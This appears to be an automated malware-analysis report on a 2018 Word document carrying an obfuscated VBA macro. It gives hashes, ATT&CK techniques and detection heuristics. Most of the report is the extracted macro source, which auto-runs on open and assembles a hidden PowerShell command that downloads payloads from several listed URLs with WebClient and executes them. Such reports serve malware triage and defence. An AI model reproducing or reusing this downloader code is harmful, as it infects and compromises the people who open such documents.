Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 56d23cbdc748a223…

MALICIOUS

Office (OLE)

122.5 KB Created: 2018-02-19 16:08:00 Authoring application: Microsoft Office Word First seen: 2018-03-04
MD5: 04cd580f5b96fec318d3d56d5bc70ada SHA-1: 8b06f71bcc55a6d35d9e014564620a2f07d0b79d SHA-256: 56d23cbdc748a2236ea73fc63dbdb62904c671db5eefa59b5cfa3f555a8a9e2b
112 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro. The macro uses obfuscated strings to construct and execute a PowerShell command, likely to download and run a secondary payload. The presence of a potential Shell call and the obfuscated nature of the script indicate a downloader or droppper functionality.

Heuristics 6

  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    RnqwVVddn = (1270956 - CDbl(4742866 + sPcmEcEwaXzV / wzjnLFSNowO * Hex(2611761)) - 1644144 + CByte(IBastFwPwFU))
    Shell imFCu + VamFCjM + VPZWtpcAGXDS + YvrwvAi, 0
    GPhjAiTJb = (6071328 - CDbl(1560333 + CassKlHkQszb / jrvFmqK * Hex(487693)) - 2933185 + CByte(FisWPWSZaOS))
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "ncJKtEpQY"
    Sub AutoOpen()
    On Error Resume Next
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ArmhkS+hkS+Arm0CArm+Armt+0Ctw0Ct+0Ctww.s0Ct+0Ctp8kros0Ct+0CtnoArm+Arm.pl0CcNiZiDXnaPYEqcFKlP� In document text (OLE body)
    • http://ArmhkS+hkS+Arm0CArm+Armt+0Ctw0Ct+0Ctww.s0Ct+0Ctp8kros0Ct+0CtnoArm+Arm.pl0CcNiZiDXnaPYEqcFKlPIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 25585 bytes
SHA-256: 0f89639b71f31d9de6b99e2c7ac147586083e3b485bad11d6891eb77fae40f21
Detection
ClamAV: No threats found
Obfuscation or payload: likely
643 of 882 identifiers look randomly generated (e.g. 'Cto0bHnjKKUctSwZLzmVaqJDrZkVpLFmDWFUoEQ'); 7 string-concatenation chain(s) — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "VJaZLXzE"
Function OHtZvWuXtlNzJu()
On Error Resume Next
uPlWl = (7239389 - CDbl(6669117 + wjmzvRmIYEhas / AQnsDLoNT * Hex(624865)) - 2002945 + CByte(ZRYocqwYGI))
FwGBkKXE = (2522150 - CDbl(2111982 + VjGwXAKQHqjHr / WFjQjnSsUjj * Hex(5454400)) - 8173482 + CByte(UQsDcBichO))
oNhBaX = (9187319 - CDbl(585378 + NRbsh / IcSXrdXZcOWO * Hex(9091174)) - 1866011 + CByte(vqwdipzuXUU))
FfQZXW = (nVOXchlJiqwuk) + yHBjksbJKSUgsssd("wukJvEUhiABKR. ( $PShOme[21]+$psHomE[34]+'X') ( ((' .((gV hkS*mDr*hkS).NamE[3,11,2]-JOInhkShkS)((hkS &( wd8VE'+'RbosePr'+'EfehkS+hkSrEncE.tohkS+hkSS'+'tRIng(hkS+hk'+'S)'+'[1,3]+JGkINihHBdWQwnvVszkhw", 14, 164)
wGrdPwrzt = (96151 - CDbl(8719367 + RadPCvJh / CWzkUBWfMEcitz * Hex(9536123)) - 782695 + CByte(OtjMVUmVnA))
BPsqAnK = (2916870 - CDbl(5486545 + vYSGrdbUHErfmw / jYdjKchP * Hex(156183)) - 6673542 + CByte(CLPhAGCNIDP))
BbWMHYRGD = (7493397 - CDbl(1103649 + cGHpphiX / lOXjRWOIR * Hex(4569914)) - 2061968 + CByte(QEZEkcZnNT))
aJVlFi = (ZEbFNKz) + yHBjksbJKSUgsssd("MOrjCmCwaj0ChkS+hkSt(), 60Ct'+'+0CtsFSDC0Ct+0Ct);&(abPInvhkS+hkSoabP0CtArm+Arm+0Ct+0Ct+0Cta0Ct+0CtbPkabP+abP0Ct+0Cte-It0Ct+0Ctema0Ct+0CthkS+hkSb0Ct+hkS+hkS0CtP)(6sFSDC);break;hkS+hkSKIjIzlisGV", 11, 172)
GqPZbkFPP = (8597500 - CDbl(2473043 + hkEEJ / HRdAWjAohGW * Hex(2381822)) - 9326333 + CByte(bHbMritRVW))
IfIWhLbkw = (5461702 - CDbl(3746387 + UspGwpuhL / cABqFOssiwma * Hex(5022476)) - 1831573 + CByte(MbqpwHXDOfvrz))
RcUDcsWtn = (4912571 - CDbl(4493327 + sPRzL / roDddtXiuSjOj * Hex(2656815)) - 784583 + CByte(PiEznLJWsTLuu))
EiDPlw = (cXlrtvwPv) + yHBjksbJKSUgsssd("KzqqPlEhwHajoimEhkS+hkS5+[cHaAr'+'m+ArmhkS+hkSr]70),[cHar]36-ReP'+'Lace 0Ct5f70Ct,[cHar]'+'9'+'6-CREpLACe0CtabP0CArm+ArhkS+hkSmt,[cHar]39)) Arm).rEP'+'lACe(([cHar]48+[cHar]6hkS+hkS'+'7+[cHar]116),[sTriNGPHqSqizwAJzChC", 17, 187)
UhOTEzsK = (1836518 - CDbl(9609434 + zjuOC / ijkKidojKWi * Hex(2440561)) - 5775985 + CByte(FwEaR))
PvWfM = (1543122 - CDbl(4997835 + LHdBwtKYPRU / XFiTv * Hex(591956)) - 8290402 + CByte(SoCdf))
MqnNqV = (9195726 - CDbl(9007957 + fUzuG / UcjjjuYlGRraiz * Hex(2596229)) - 7037044 + CByte(OQYOXFAWAw))
OFMmdJSMjif = (dijflcKkp) + yHBjksbJKSUgsssd("ldfPoCtl'+'ic hkS+hkS+ 0Ct+0Cta0Ct+hkS+hkS0CtbPZC0Ct+0Ct30CArm'+'+Armt+0CtabP +0Ct+0Ct Arm+Arm6sF0Ct+0CtN0Ct+0CtSB'+' +0Ct+0Ct (0Ct+0CtabP.exabP+zNzZSziiQFUCsuR", 6, 140)
kIjPidoOPl = (9030408 - CDbl(8104159 + qjdhjzWfKjvRsM / RdFOHzPrUvhpUP * Hex(3322222)) - 6831384 + CByte(RwDkz))
WWvdYjtn = (2933956 - CDbl(7945124 + jHEpALnVoUbL / jzbrImCICQt * Hex(9426964)) - 8402068 + CByte(uIMTO))
Emqjok = (3172382 - CDbl(5240578 + qLCTktTjv / YXiActodnfhqL * Hex(8576298)) - 1750623 + CByte(sNcANuE))
wunqE = (GnOWwcjillEQ) + yHBjksbJKSUgsssd("K/0Ct+0CtKDyArm+ArmmdXEpAtCaKUdFrMDwpwCqa", 2, 22)
wMkjAk = (5655700 - CDbl(9246566 + zAJKYAGEvcdSW / MEzbiqLVHUptw * Hex(6447734)) - 1818310 + CByte(cRIVHPfi))
BZBIOUcY = (5581583 - CDbl(1406107 + RaauAvASOjK / FidspVfCYuaAMK * Hex(180381)) - 7205344 + CByte(ZUwXHtvjZozwOv))
HiHfwraXsdo = (7752341 - CDbl(3472309 + CrdXpJzF / Wzahqu * Hex(2912583)) - 4108115 + CByte(LLbwkiLQjhDJ))
HKMZPOanP = (VDYTStfSfl) + yHBjksbJKSUgsssd("UIabP0Ct+0CteArm+ArmabP);'+'0Ct+0Ctfor0Ct+0Ctea0Ct+0Ctch(6sF0Ct+0Ctas0Ct+0Arm+ArmCtfc in 6s'+'F0Ct+0CtADVUUvfbqfdwVrA", 3, 102)
tEraCXbzU = (1183938 - CDbl(8345634 + GvLZc / BAXNrnj * Hex(7087040)) - 1468545 + CByte(FALIANmFYjiUQs))
ESfTcjZRD = (1893732 - CDbl(5452815 + CCMPK / lQzziOEOSbw * Hex(296176)) - 5285895 + CByte(iDtJFAtkhjiDPk))
OGWtmYWGIQ = (6328658 - CDbl(6521202 + juSZsDODqUVMsR / ihUwJCJJpAjNU * Hex(6059665)) - 9855255 + CByte(hkfSGJVq))
CtMpBdwznE = (rzDjtGc) + yHBjksbJKSUgsssd("uTviuNhZXq'+'/?http://ArmhkS+hkS+Arm0CArm+Armt+0Ctw0Ct+0Ctww.s0Ct+0Ctp8kros0Ct+0CtnoArm+Arm.pl0CcNiZiDXnaPYEqcFKlP", 8, 89)
oMcADwGhXnv = (7124881 - CDbl(5649401 + JptYrAnbM / kZLizizudQcuwh * Hex(2025057)) - 3298162 + CByte(wMnvV))
tZPCdmBodL = (6083096 - CDbl(9320646 + LlhXfkwbRDv / lktvcHMwO * Hex(8651586)) - 2352412 + CByte(azoPZEO))
XzvTqnNAa = (8792249 - CDbl(2979770 + msQXzjjTiiOvRO / sTNTASSZ * Hex(3817244)) - 9372080 + CByte(vjBNoBGowAf))
IwdhGbZltOw = (oRnUiQiYsW) + yHBjksbJKSUgsssd("EpGvpHqwXVQmBnosGREBKzMzGGrm0CtbPea'+'bP+abPw0Arm+ArmC'+'t'+'+0Ct-0Ct+0CtobjehkS+hkS0CArm+Armt+'+'0CtcabP+0Arm+Arhkjwiwuv", 27, 89)
VOwdNI = (3743239 - CDbl(9281690 + PkzRQpModQ / NODmkYDr * Hex(4078553)) - 3325700 + CByte(VjUco))
aKlKjhdah = (5240916 - CDbl(8336206 + ihiiuv / dzslrCKf * Hex(3885055)) - 4404359 + CByte(niGPcbJNPQzoBl))
nqIPt = (9428345 - CDbl(3782539 + kikJrUuGwjaz / EAFrnMC * Hex(2990078)) - 971364 + CByte(UjjzjJ))
HmiQEt = (wffazhlAaPiT) + yHBjksbJKSUgsssd("pkTjCOCkafZ/a0Ct+0CtbP.Spli0Ct+0Ctt(0Ct+0CtAImNFmMDlzHsRLSzU", 12, 32)
wOSlKAsIJ = (2934591 - CDbl(5444638 + UOwHjjQ / JKSDqBrGbQlS * Hex(5534375)) - 7532526 + CByte(ajBJSDOTXLm))
GvPsvl = (7989719 - CDbl(9383541 + VHCwRCm / GHiZPEGd * Hex(1856757)) - 6497314 + CByte(fWaiWzjvrvs))
fDawMtHbDL = (862382 - CDbl(2366663 + tFIiULkwJatas / KMuBEHRqvZjA * Hex(6570426)) - 1329061 + CByte(VNDWfVwwupWwi))
adXRjqsoJI = (jODMwjKwkQVfW) + yHBjksbJKSUgsssd("qRZc ((0Ct60Ct+0Arm+ArmCtsFnsada0Ct+0Cts0Ct+0CtArm+Armd0Ct+0Ct = &(a0Ct+0CtbPnab0CtArm+Arm+0CtP+0Ct+Arm+Arm0Cta0Ct+Arm+AYjSjICsnGdhvkkkLhAijzGO", 5, 116)
iLqhRsITOp = (511985 - CDbl(3943234 + dCoMqENSLO / MiKidvlkumWPUW * Hex(597260)) - 3438457 + CByte(SoPsU))
YPMCQZGzsda = (8666857 - CDbl(3643583 + YnzrrdYQBiS / uaOzSZqHmTqnm * Hex(2172547)) - 9929699 + CByte(wHrorBEIn))
QWzKfND = (8464579 - CDbl(536151 + zzSrlY / sZSZuC * Hex(2108617)) - 8850947 + CByte(wJFjd))
iBoGRAPLvz = (rAEdDKi) + yHBjksbJKSUgsssd("CSXOPzKSTqjt+0Ct/y0Ct+0Ct40Ct+0CtLArm+ArmoJArm+ArmhkS+'+'hkS/?hkS+hkS0Ct+Arm+Arm0Cthttp:0Ct+0Ct/0Ct+0Ct/0Ct+0Ctdrn0'+'Ct+0Cti0Ct+0CteArm+Ar'+'mpman0Ct+0Ctn0Arm+ArmCt+0Ct.d0Ct+hkS+hkS0Cte0Ct+0Arm+A'+'rmCtVXmiGZVfmjmwiKkCtOhVMbUshUzM", 12, 192)
ktaQQdN = (1408342 - CDbl(9638229 + hzmjHzLimWf / hYFHWOWTJwXVAG * Hex(752118)) - 9662285 + CByte(rcWDlM))
blzLliwOE = (8017159 - CDbl(8218296 + lVufoABPF / tuspkfWjZQ * Hex(6320569)) - 218616 + CByte(NWutJsvLPRBdBY))
rdzGuPzmZYf = (5829838 - CDbl(2001404 + UkAbEMzml / OdQaojZhI * Hex(8751783)) - 1407377 + CByte(WKRddrMiGsYCv))
RZLWjl = (VGJaWjKnBwCOE) + yHBjksbJKSUgsssd("shqbENdBMuMiRspGSWnGhkS+hkSt'+' 0Ct+0Cthttp0Ct+0Ct://librArm+Armeria0Ct+0Cts0hkS+hkSCt+0Ctur.iw", 21, 73)
UzZczVCGGj = (5019307 - CDbl(576431 + WEOisjEY / wATCcjfmiTHPWH * Hex(7399383)) - 3587265 + CByte(JLhZnjUCLdk))
liKzfh = (2472012 - CDbl(3982703 + WSWSPJ / NavziGv * Hex(404147)) - 9847052 + CByte(bLJatrYKTzARGu))
dLppwpW = (4872671 - CDbl(1843394 + kzzpXJ / vklcJZYAM * Hex(6192559)) - 1700210 + CByte(Kjdbz))
jZJZIvrrasr = (rVQPdNqJajI) + yHBjksbJKSUgsssd("LvzwTCzMvkFRhrYMdTCt+0C'+'tbje0Ct+0Ctc0Ct+0Ctt0Ct+0Cta0Ct+0Ct'+'bP)0'+'Ct+0Ct hkS+hkSS'+'yhkS+hkS0Ct+0hkS+hkSCArm+Armtstem.Net.Web0Ct+0CtCli'+'0CArm+Armt+0Ctent0Ct+0Ct;'+'0Ct+0C'+'t'+'6sArm+Arm0Ct+0CtF'+'0Ct+0MfCEJcwFiwzLLwviYPfY", 19, 191)
jjfGfcCTPj = (1757439 - CDbl(999880 + BtazFZlYwZHVBh / zLzQkEocNv * Hex(2450857)) - 4656722 + CByte(zYETW))
sCzwz = (305429 - CDbl(1155184 + jLquP / VXDjz * Hex(5162103)) - 5510242 + CByte(afsUr))
uKzZki = (2532823 - CDbl(3345020 + EsBhZaV / zAbaQAIWUESF * Hex(1871760)) - 2367390 + CByte(zbwzZbB))
PwtczDCDAKL = (UzLEzHECmi) + yHBjksbJKSUgsssd("KOabP?Arm+Armab0Ct+0CtAXSkLTVPRbAzVEWXwvwmPsqVUrVi", 3, 21)
DEznGiFpOD = (54908 - CDbl(7585739 + MDrdEFcdvMwqi / tsKdldXCtcSzZ * Hex(1845483)) - 4326887 + CByte(EBWwX))
akMwLXjOBC = (3678726 - CDbl(3065339 + odwRGDlG / LsiMtOJW * Hex(1783692)) - 1886339 + CByte(KGjTGtH))
OvPGwzT = (9462974 - CDbl(3936620 + SacqpIfFwpr / jNQopLm * Hex(2364274)) - 5397770 + CByte(JAJhwiL))
lcaJn = (avCQjwzCmaXW) + yHBjksbJKSUgsssd("YSzFoLzWsnqWCHiPdIlOCFUQK", 21, 1)
IvzfI = (487099 - CDbl(3556537 + wKIHD / bjHLAukt * Hex(633553)) - 5161091 + CByte(UwiSHhhLBpdLHi))
BMwQsAWCww = (5464290 - CDbl(8583713 + zddapB / qwtiWcaUXb * Hex(9711749)) - 803098 + CByte(mpdawCcwUAh))
HLEFPdOFpo = (4611170 - CDbl(388698 + uZzYizEbKn / pZOJo * Hex(6018295)) - 6101953 + CByte(IUJACdnYf))
BasaBzlr = (EFiQMUXwaS) + yHBjksbJKSUgsssd("qSJKQAWGiciJERdudjfqzjWwwUcCtk/0Ct+0Ct?h0Ct+0CtthkS+hkSt0Ct+0Ctp0Ct+0ChkS+hkSt://cl0Ct+0Ctub-ul0Ct+0CtArm+Armmev0Ct+0Cta0Ct+0Ctsion.0Ct+0Ctf0Ct+0Ctr0'+'Ct+0Ct/jrdPJUFwXl", 28, 134)
rXBLX = (6306598 - CDbl(4060285 + ztHlZ / urYZGObzVZiON * Hex(5368541)) - 2286980 + CByte(dKdKfWLL))
WwwTYHkAY = (8177107 - CDbl(7861555 + JGaruUfIci / EROZlC * Hex(6043581)) - 5123198 + CByte(tqiPzHPO))
adzkOu = (4623319 - CDbl(6187024 + iRnRqui / tiTjjXFMvGkI * Hex(6073518)) - 3053915 + CByte(hTYLtnFRk))
jdLQV = (GfKfpXHcNp) + yHBjksbJKSUgsssd("SJlQIIBHVrAfzjnXdldNKT ([cHar]54+[cHar]11fzVNURTwsbi", 23, 19)
EwALor = (7795156 - CDbl(33102 + QimOASjzXton / lHMYTBtlJzY * Hex(7477459)) - 933441 + CByte(YwQIfrsTrUlrZ))
wszkz = (2151027 - CDbl(3863350 + ujujJzltOmHC / lNbvaL * Hex(204901)) - 1249355 + CByte(IwpRQsncbhR))
zzXUX = (4579450 - CDbl(634250 + sViaNWtskqLFG / vzATiJ * Hex(5040021)) - 9633781 + CByte(rjsFmLZkkiYia))
lmzCOiK = (suTInXhSvFwSi) + yHBjksbJKSUgsssd("dQhYqftTJ0, 280Ct+0Ct210Ct+0Ct30Ct+0Ct3)0Ct+0CthkS+hkS;6s0Ct+0CtArm+ArmFADC0Ct+Arm+Arm0CtX0Ct+0Ct 0Ct+0Ct=Arm+Arm'+' 0hkS+hkSCt+0Ctab0Ct+0Arm+ArmCtP0Ct+0dzKnt", 10, 144)
BTdUDO = (2141344 - CDbl(1280539 + XibVIPfvTJ / ulWFbFjrlroI * Hex(7703642)) - 9859876 + CByte(qTSji))
DzubT = (88784 - CDbl(8527215 + mEDLTRTwaF / jEXOpB * Hex(9650524)) - 3733668 + CByte(kjZmWGZLc))
qBtZGZD = (6942200 - CDbl(5222545 + CHjBYuPZRtND / TwTEdhkhXtD * Hex(6000168)) - 3106521 + CByte(MsHVqiWdznNQ))
HMatCrJdu = (wttPubqtUQHh) + yHBjksbJKSUgsssd("JJA+0Ct'+'ArhkS+hkSmhkS+hkS+Armand0Ct+hkS+hkS0Ctom0Ct+0Ct;6sFYY0hkS+hkSCt+0CtU Arm+Arm0hkS+hkSCt+0Ct= hkS+hkS.(abPneabP+0Ct+0CtabPwabP+0Ct+0CArm+ArmtArm+Armab0Ct+0CtP-0Ct+0Cto0bHnjKKUctSwZLzmVaqJDrZkVpLFmDWFUoEQ", 4, 173)
TMwAMCs = (6072756 - CDbl(2530794 + WIGChJXXYJp / frMaBnTChIJlCm * Hex(144679)) - 4390262 + CByte(nRzkHrIAfMuU))
ddQioh = (9627405 - CDbl(9523997 + NMaPlboRMKwNzU / uIAjk * Hex(8617027)) - 8376830 + CByte(XAEZWbZ))
HOKmRupM = (6566630 - CDbl(6809388 + MXqLkkL / zlZIdIjfRlTOME * Hex(4244059)) - 9627925 + CByte(PjCSq))
iPoAfdlcCZY = (DKGHwCqE) + yHBjksbJKSUgsssd("spDrbwLcoWYsUIzTLS+h'+'k'+'SmCt+0CtabPta0Ct+0CtbP) r0CtFvoFs", 18, 38)
ATzzKOoEPR = (7653912 - CDbl(2775310 + wHBsIVEJj / wzscVj * Hex(4015768)) - 6583638 + CByte(EqbLQJn))
mDFhTd = (8686920 - CDbl(7055622 + bfzOuD / uSaCLOEjHrW * Hex(8926747)) - 5158721 + CByte(VbaKfX))
INGKCc = (9341043 - CDbl(7249341 + VcTBEdziwZp / CHKsbWbISRwJ * Hex(9692365)) - 1139742 + CByte(YDPfj))
KKwULVzvpX = (oPWwtqK) + yHBjksbJKSUgsssd("cjEjt+0Cty{'+'6sFYYU.VvRDo5f7Wn0Ct+0Ctl0Ct+0Ct5f7OadFI50Ct+0Ctf7leVvR(6sFasfc.VvR0Arm+ArmCt+0CtT0Ct+0CtoStrhkS+hkS0Ct+0Ct50Ct+0Ctf70Ct+0Cti5f7Ng0Ct+0CtV0Ct+0Ctv0ChkS+hkSt+0Ct'+'R0ChkS+hkStArm+Arm+unPrNNVndVUmhQwNGXrtnQaiEOB", 5, 192)
ZiNaMWzY = (3829777 - CDbl(3057972 + DBVcPEdJ / zZafj * Hex(8783977)) - 1301831 + CByte(SCjAOWVAKtd))
NNjwYwQS = (4775841 - CDbl(5674973 + kJmLdOjUAziK / jidob * Hex(5819240)) - 7842813 + CByte(RjQof))
zuwSlqiz = (9878370 - CDbl(5483062 + LzkZM / RsXPsAzBmSEV * Hex(7922296)) - 3502566 + CByte(EBuolTdVWwO))
iuKGfUtn = (IIXVlUT) + yHBjksbJKSUgsssd("ZsaLihidkFOuTwRRCt'+'N0Ct+0CtSB =0Ct+0Ct 60CAr'+'m+Armt+0CtsFnsada0Ct+0Ctsd0Ct+0ArmhkS+hkS+A'+'rmhkS+hkSCt.nex0Ct+0Ctt(10000Ct+hkS+hkS0CtShumVffAmEvJH", 17, 121)
czXuwHtKCB = (1956081 - CDbl(1980502 + GwqkbWoXA / iwhMpUTh * Hex(9623233)) - 216752 + CByte(npJAhDjWmpEttj))
owJdNtuEL = (9824568 - CDbl(1487846 + NVcNQvHsWDEiQc / JZTIhkt * Hex(3503580)) - 880172 + CByte(ObZDn))
RwVVFR = (5571575 - CDbl(8080995 + TTdYjWu / HLAfs * Hex(4264930)) - 2516860 + CByte(kTPqaPTCYNCTh))
rYocjRTZrN = (rRkRLloDPtwkJ) + yHBjksbJKSUgsssd("OauXcumirm+ArmP0Ct+0'+'Ct);6sF0Ct+0CtSDC0Ct+0Ct 0Ct+0Ct= 6sF0Ct+Arm+Arm0Arm+ArmCten0Ct+0Ctv0Ct+Arm+Arm0Ct:pub0Ct+0hujBNhzRZjbshsq", 9, 106)
SRwAS = (7278405 - CDbl(913567 + azWUaTTcaQaZEJ / dScvmllwFKFAVO * Hex(2459397)) - 2835856 + CByte(rIIlTcnLJFq))
NDiljbVlk = (1661061 - CDbl(6440332 + JXUquXqS / oARJVTz * Hex(2594878)) - 2668614 + CByte(uivAN))
VnLGJJJVIpr = (2014710 - CDbl(8167994 + jcfuqXsvcBYS / pZuTkCSSsMscG * Hex(7541505)) - 6941571 + CByte(XGfEiGp))
JkNwpk = (iRZHrOhTUNz) + yHBjksbJKSUgsssd("MPTHEQjaizrkfXbCX0Ct+0Ct){0Ct+0Cttr0CimoETEJmKk", 16, 22)
WSoTTBl = (7558305 - CDbl(3418912 + kIhFusOIijM / aIBsBPDhv * Hex(6625960)) - 5269971 + CByte(rdXjMPZ))
jGbcBLdiS = (9046658 - CDbl(5473545 + IJrlBwhCWY / GDzWdpAjknCj * Hex(4157877)) - 2688509 + CByte(ViwSKRzz))
whwcwB = (47979 - CDbl(8503212 + QNHAt / CXkaYJi * Hex(5050349)) - 4655936 + CByte(rmGcVXk))
zzbHzaAWwW = (BjdIXWrQ) + yHBjksbJKSUgsssd("zShC))')  -cRePLaCe([cHar]104+[cHar]107+[cHar]83),[cHar]39)) ipwjwkhOOaqbZ", 5, 57)
zXMFCdjrbOm = (4719920 - CDbl(2660716 + mFFMtQfsdjAoI / zaWYfGAliHsQ * Hex(9549215)) - 4494204 + CByte(tdarKbSErFOwj))
tiPqSwpvNb = (1780783 - CDbl(9230610 + FhqzCUYtHrB / zTdSIwkCa * Hex(9318638)) - 9623272 + CByte(jWfTQJU))
HGKuwlWFI = (5403538 - CDbl(7460844 + njHXrYFhk / avGXbvoh * Hex(4805697)) - 8676908 + CByte(JjiSjp))
mNdAXjWruA = (mcktpiwdrz) + yHBjksbJKSUgsssd("FCqHR][cHar]39).rEPlACe(Arml8TArm,Armwd8Ar'+'m) ) hkS).rEPlACE(([cHAR]65+[cH'+'AR]114+[cHAR]109),[StRING][cHAR]39).rEPlACE(([cHAR]119+[cHAR]100+[cHAR]56),[StRING][cHAR]36djqEiJrliSjVidjtiIZCnovbwcdbW", 6, 165)
jlfpQffwSRH = (7189717 - CDbl(7236033 + IrVUmDtO / AdFKjAElvB * Hex(2088040)) - 6289895 + CByte(hkEaNvQzEshQj))
NnwawUTiKU = (2583460 - CDbl(1396162 + kVqLCtifzb / oaijajRJkPLpww * Hex(6301085)) - 9234899 + CByte(YuCmzHLfUVn))
tQhJvn = (7730597 - CDbl(503264 + dlzcWVJGh / DWOYjsM * Hex(4260499)) - 9561490 + CByte(HCYKqSXDGNdVhp))
wjwnjOVjUcf = (juLkHLztMi) + yHBjksbJKSUgsssd("woQJjnoLhjCRqOhQmYS0Ct+0Ct}0Ct+0CtcatArm+Armch{0Ct+0hkS+hkSCt}}0C'+'t) -CREpLAChkS+hkSe([cHar]8Arm+Arm6+[cHar]118+[cHar'+']82)Arm+Arm,[cHar]34  -ChkS+hkSREpLArm+ArmACe hkS+hkS0CtZC30'+'Ct,[cHar]92hkS+hkS -CREpLACe nzlqMiWVvJzlMqVazboA", 20, 195)
USdKoz = (1087686 - CDbl(9963941 + lipYqcrq / XWpplbP * Hex(4828081)) - 7253472 + CByte(iEMic))
pJjoQdzRPb = (4481618 - CDbl(1578894 + NkGcVRtBAlVvX / SFThdkbLWiL * Hex(335218)) - 4082274 + CByte(ZDMBili))
GQLGQ = (1062109 - CDbl(1085202 + BXvjbdDpjulGL / tXPCObQTwfcwZU * Hex(2641879)) - 7263251 + CByte(NzZjFp))
KOSzmitUih = (mzbJRqESaMmlDz) + yHBjksbJKSUgsssd("cTHuwjQcNkqOcEwcGkdXMArmhkS+hkSXArm-joiNArmArm) ((Arm.( l8T'+'PShoMe[4]+lArm+Arm8TpsHome[34]+0CtX0Ct)(bYhBFzkMnCLHK", 22, 81)
aPpJEzDzV = (9019757 - CDbl(7808065 + GmOoiXSWA / wVCKEIMCPiWVvw * Hex(5975096)) - 4743404 + CByte(EnqtamELFCSc))
CfuAUasAWoX = (9704077 - CDbl(1695983 + dijEOwZv / ZfKCkqPJJ * Hex(7320565)) - 2714764 + CByte(JBYjwwzFtaR))
awkmL = (4084958 - CDbl(414301 + NPaKpfrTUvbCa / mJTMulT * Hex(6421578)) - 2107234 + CByte(QzaqcwNpz))
iCrPki = (qidhaQGiEjc) + yHBjksbJKSUgsssd("srJqVXJrzrpSHLiNAB0CA'+'rm+Armt+0Ctcom/N5MvYH6/?htt0Ct+0Ctp:0Ct+0Arm'+'+ArmCt//0Ct+0Ctco'+'0Ct+0Ctngiu0'+'Ct+0Ct'+'.f0CtArm+Arm+0CtrArm+Arm/N0Ct+0Ct10Ct+0CtMhkS+hkS0Ct+0EGSKKYSz", 19, 151)
OHtZvWuXtlNzJu = fEmvEnAsJFX + dAiwwjrpjdIvX + KtlTUVJsBNhELX + ChrW(34) + TkHEaQYfEEur + FfQZXW + KOSzmitUih + adXRjqsoJI + IwdhGbZltOw + iPoAfdlcCZY + HMatCrJdu + jZJZIvrrasr + iuKGfUtn + lmzCOiK + lcaJn + RZLWjl + iCrPki + BasaBzlr + CtMpBdwznE + iBoGRAPLvz + wunqE + HmiQEt + PwtczDCDAKL + rYocjRTZrN + OFMmdJSMjif + HKMZPOanP + JkNwpk + KKwULVzvpX + aJVlFi + wjwnjOVjUcf + jdLQV + EiDPlw + mNdAXjWruA + zzbHzaAWwW
EBrVhmCil = (7330930 - CDbl(5204028 + PLuiAhNU / pWsrIOjUz * Hex(9274887)) - 5763779 + CByte(FipwK))
vVtpzhImp = (2865136 - CDbl(4335762 + iWraROiwdYXSN / pzPJhEfqlrak * Hex(8103141)) - 8045131 + CByte(FTzMaSZminP))
KAjXwacLr = (2284289 - CDbl(4424439 + hROokAzhYoO / FXGnUQKlW * Hex(3419941)) - 8880408 + CByte(JOtzIiwYin))
End Function
Sub CUYWswtDX(VamFCjM As String)
On Error Resume Next
JiibdEzzP = (753049 - CDbl(2483610 + uRMJPROC / EFifD * Hex(6238812)) - 9254 + CByte(jHNiGFGrBd))
RnqwVVddn = (1270956 - CDbl(4742866 + sPcmEcEwaXzV / wzjnLFSNowO * Hex(2611761)) - 1644144 + CByte(IBastFwPwFU))
Shell imFCu + VamFCjM + VPZWtpcAGXDS + YvrwvAi, 0
GPhjAiTJb = (6071328 - CDbl(1560333 + CassKlHkQszb / jrvFmqK * Hex(487693)) - 2933185 + CByte(FisWPWSZaOS))
PnjDjKnPO = (2695222 - CDbl(3217062 + UUmXEo / zintmKSPsOwS * Hex(4673423)) - 2462130 + CByte(QDOCFjXmBTobX))
End Sub

Attribute VB_Name = "PRhnZRmrSQtDw"
Function KtlTUVJsBNhELX()
On Error Resume Next
JqDPbU = (6863182 - CDbl(3090544 + kfOwpnKs / wtAJUYrU * Hex(3129895)) - 6997505 + CByte(YbvWpLUDsrB))
MwzcOr = (8572993 - CDbl(5964119 + ojNDQlAkSon / BpDvaWziu * Hex(1789552)) - 7069181 + CByte(GdTGzbzBVbjrd))
aPXwP = (3335464 - CDbl(9965334 + hnJGiUJiAwRitw / fvWwnRtlqqmA * Hex(5144482)) - 1860038 + CByte(SIWzAHA))
iJLjUwzYTt = (FYKdlmhVLKcnum) + yHBjksbJKSUgsssd("96set %AuCFHIdtjSm3w9uFb6FJhS 3O3V wFYMJj9WwT36", 3, 14)
EnIwwUX = (4027099 - CDbl(7839419 + IItwjfSNJT / mjfYibnIPL * Hex(7639767)) - 1910427 + CByte(MFhNMSkT))
WfjScWV = (3438275 - CDbl(4595672 + KOcHW / tLsEBSnrRs * Hex(9249360)) - 2371367 + CByte(TUwajbwEB))
nETqzztGU = (8334214 - CDbl(6837553 + ULdOQz / mlRcQOKmtWv * Hex(4881577)) - 7707354 + CByte(sEhLns))
